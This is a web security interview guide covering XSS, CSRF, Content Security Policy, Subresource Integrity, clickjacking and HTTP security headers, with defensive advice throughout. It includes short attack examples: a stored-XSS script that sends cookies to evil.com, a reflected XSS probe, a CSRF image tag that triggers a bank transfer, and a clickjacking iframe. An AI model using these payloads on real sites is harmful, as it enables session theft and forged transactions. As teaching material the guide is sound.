Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Web Security Deep Dive

This guide covers the critical web security topics that come up in interviews — XSS, CSRF, CSP, and essential HTTP security headers. For CORS and Same-Site cookie details, see CORS and Cookies & Storage.

Cross-Site Scripting (XSS)

XSS attacks inject malicious scripts into web pages viewed by other users. There are three types:

Stored XSS

Malicious script is persisted on the server (e.g., in a database) and served to all users:

<!-- Attacker posts a comment containing: -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

<!-- Every user who views the comment executes this script -->

Prevention: Sanitize and escape all user input before storing and rendering. Never use innerHTML with user content. Use textContent or a sanitizer like DOMPurify.

Reflected XSS

Malicious script is in the URL or request parameter and reflected back in the response:

https://example.com/search?q=<script>alert(1)</script>

If the server renders the query parameter without escaping, the script executes.

Prevention: Escape output on the server. Use encodeURIComponent() for dynamic URL parameters. Enable CSP to block inline scripts.

DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript — the malicious payload is processed by JS without server involvement:

// Vulnerable: reading from location.hash and inserting into DOM
document.getElementById('output').innerHTML = location.hash.slice(1);

// Safe alternative
document.getElementById('output').textContent = location.hash.slice(1);

Prevention: Use textContent over innerHTML. Use DOMPurify.sanitize() for HTML content. Avoid eval(), document.write(), and setTimeout(string).

XSS Prevention Summary

TechniqueEffective Against
textContent over innerHTMLDOM-based XSS
Output encoding (HTML entities)Stored + Reflected XSS
DOMPurify sanitizationAll types (for rich content)
Content Security PolicyAll types (defense in depth)
HttpOnly cookiesPrevents cookie theft via XSS
Trusted Types APIDOM-based XSS

Cross-Site Request Forgery (CSRF)

CSRF tricks a user’s browser into making authenticated requests to a different site without their knowledge:

<!-- Attacker's site: evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- If the user is logged into bank.com, cookies are sent automatically -->

CSRF Prevention

1. CSRF Tokens (Synchronizer Token Pattern):

// Server generates a random token per session
// Token is embedded in forms and validated on submission
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="a1b2c3d4e5">
  <!-- ... -->
</form>

2. SameSite Cookies: Set SameSite=Strict or SameSite=Lax on session cookies (see Cookies & Storage).

3. Double Submit Cookie: Set the token in both a cookie and a request header/body. The server verifies they match — a cross-origin request can’t read the cookie to place it in the custom header.

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrf_token') // JS can read non-HttpOnly cookies
  },
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
});

Content Security Policy (CSP)

CSP is an HTTP response header that controls which resources the browser can load, preventing XSS and data injection attacks:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src 'self' https://api.example.com; frame-ancestors 'none'

Key Directives

DirectiveControlsExample Values
default-srcFallback for all fetch directives'self', https:
script-srcJavaScript sources'self', 'nonce-xyz', 'strict-dynamic'
style-srcCSS sources'self', 'unsafe-inline'
img-srcImage sources*, data:, 'self'
connect-srcfetch, XHR, WebSocket targets'self', https://api.com
frame-ancestorsWho can embed this page'none', 'self'
base-uriAllowed <base> URLs'self'
form-actionAllowed form targets'self'

Common Configurations

Strict (prevents all inline scripts):

script-src 'self' 'nonce-random123'

Report-only mode (doesn’t block, just reports):

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations

Subresource Integrity (SRI)

SRI ensures that externally hosted scripts and styles haven’t been tampered with:

<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
  crossorigin="anonymous">
</script>

The browser computes a hash of the downloaded resource and refuses to execute it if the hash doesn’t match. Use SRI for any third-party CDN resources.

Trusted Types

Trusted Types is a browser API that prevents DOM-based XSS by requiring dangerous sinks (innerHTML, eval, document.write) to accept only specially created objects instead of plain strings:

// Enable via CSP
// Content-Security-Policy: require-trusted-types-for 'script'

// Create a policy that sanitizes HTML
const escapePolicy = trustedTypes.createPolicy('escape', {
  createHTML(str) {
    return DOMPurify.sanitize(str);
  }
});

// Now innerHTML only accepts TrustedHTML objects
element.innerHTML = escapePolicy.createHTML(userInput);

Clickjacking

An attacker embeds your site in a transparent iframe and tricks users into clicking hidden buttons:

<!-- Attacker's page -->
<iframe src="https://bank.com/transfer" style="opacity:0; position:absolute; top:0; left:0;"></iframe>
<button style="position:absolute; top:100px; left:200px;">Click to Win!</button>

Prevention:

X-Frame-Options: DENY
# or
X-Frame-Options: SAMEORIGIN

CSP’s frame-ancestors directive is the modern replacement and supports multiple origins.

HTTP Security Headers Reference

HeaderPurposeRecommended Value
Content-Security-PolicyPrevents XSS, controls resource loadingSee directives above
X-Frame-OptionsPrevents clickjackingDENY or SAMEORIGIN
X-Content-Type-OptionsPrevents MIME sniffingnosniff
Strict-Transport-SecurityForces HTTPSmax-age=31536000; includeSubDomains; preload
Referrer-PolicyControls referrer informationstrict-origin-when-cross-origin
Permissions-PolicyControls browser featurescamera=(), microphone=(), geolocation=(self)
Cross-Origin-Opener-PolicyIsolates browsing contextsame-origin
Cross-Origin-Resource-PolicyControls cross-origin resource sharingsame-origin

Quick win: Use the Helmet.js middleware (Express) to set all security headers automatically.

Interview Questions

Q: Explain the three types of XSS and how to prevent each. A: Stored XSS persists malicious script on the server (sanitize before storing). Reflected XSS reflects user input in the response without escaping (escape output). DOM-based XSS processes untrusted data in client-side JS (use textContent, DOMPurify). Defense in depth: CSP blocks inline scripts, HttpOnly cookies prevent session theft.

Q: How does a CSRF attack work and how do you prevent it? A: An attacker tricks the user’s browser into making an authenticated request to a vulnerable site (e.g., via <img> tag pointing to a transfer endpoint). Prevent with: CSRF tokens (synchronizer pattern), SameSite cookies (Lax/Strict), or double-submit cookie pattern. CORS alone doesn’t prevent CSRF — cookies are sent regardless.

Q: What is Content Security Policy and why is it important? A: CSP is an HTTP header that whitelists allowed resource sources (scripts, styles, images). It prevents XSS by blocking inline scripts and unauthorized external scripts. A strict CSP with nonces is one of the strongest defenses against XSS attacks.

Q: What is Subresource Integrity and when should you use it? A: SRI adds a hash attribute to <script> and <link> tags for external resources. The browser verifies the downloaded resource matches the hash. Use it for any CDN-hosted libraries to protect against supply chain attacks or CDN compromises.

References